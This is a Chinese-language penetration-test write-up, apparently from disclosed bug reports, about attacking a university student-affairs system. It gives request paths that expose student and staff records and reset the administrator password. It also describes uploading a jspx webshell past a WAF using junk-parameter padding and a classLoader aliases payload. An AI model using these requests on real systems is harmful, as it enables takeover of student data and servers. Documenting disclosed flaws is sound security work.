0x01前言

下文的所有漏洞都是需要有学校统一门户的账号和密码的情况下才能挖掘出来的，不过我也有挖到个别特殊的学校个例，可以直接未授权访问那些目录页面造成危害。挖掘的案例均已提交至漏洞平台并已经修复。

0x02  渗透过程

首先登陆统一门户，登录账号密码，找到学工系统页面：

1.越权漏洞：
访问以下的路径：
http://x.x.x.x/xgxt/xsxx_xsgl.do?method=showStudentsAjax&isAll=true
然后便可查看所有学生列表：

http://x.x.x.x/xgxt/general_szdw.do?method=szdwRybb&lx=fdy
然后便可查看所有辅导员列表：

http://x.x.x.x/xgxt/xsxx_xsgl.do?method=getXsjbxxMore&xh=某学号
然后便可以查看该学号的学生的敏感信息：

最后根据该漏洞可以编写个脚本，来批量获取系统内用户的敏感信息，效果如下：

2.任意密码重置漏洞：
访问该路径：
http://x.x.x.x/xgxt/mmzhgl_mmzh.do?method=xgmm&yhm=想要修改的账号

然后可以将系统内置的超级管理员账号的密码重置，我重置为test0123：

然后再退出到http://x,x,x,x/xgxt/的学工系统登录页面，重新登录：

登录成功：

既然是超级管理员，那么便可查看到许多敏感信息了，这里就不截图和赘述了。

3.文件上传漏洞（需要绕过waf的拦截）：
访问该路径：
http://x.x.x.x/xgxt/commXszz.do?method=uploadFile
这里我上传的是jspx木马，查看网站页面源代码来获取文件路径：

访问http://x.x.x.x/xgxt/mmzhgl_mmzh.do?method=checkYh&type=view，然后用Burp Suite用POST方式填充垃圾字符数据可绕过waf。方法就是利用脚本生成一个垃圾字符数据，或者自己aaaa什么的堆叠一下，因为有些waf要是字节超出了范围，那么就不会检测到堆叠之后的马，同时也可以利用注释符(可用<!– … –>来注释)再注释掉脏数据，那么就只剩下马了，waf就绕过了：

method=checkYh&type=view&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&&class.classLoader.resources.dirContext.aliases=/abcd=/upload/xxxx/

然后拼合url，获取木马地址：http://x.x.x.x/xgxt/abcd/xxx.jspx

至此，完成本次渗透过程。

0x03 总结

1.通过越权漏洞查询到学生列表信息

http://x.x.x.x/xgxt/xsxx_xsgl.do?method=showStudentsAjax&isAll=true

2.通过越权漏洞又查询到辅导员列表

3.通过越权查询到某个学生的敏感信息如学号和用户名

http://x.x.x.x/xgxt/xsxx_xsgl.do?method=getXsjbxxMore&xh=某学号

4.通过密码找回处的任意密码修改admin密码

5.成功登陆到学工系统，在一处附件处存在任意文件上传漏洞

6.这里通过在post数据包中，将一句话木马的前面的数据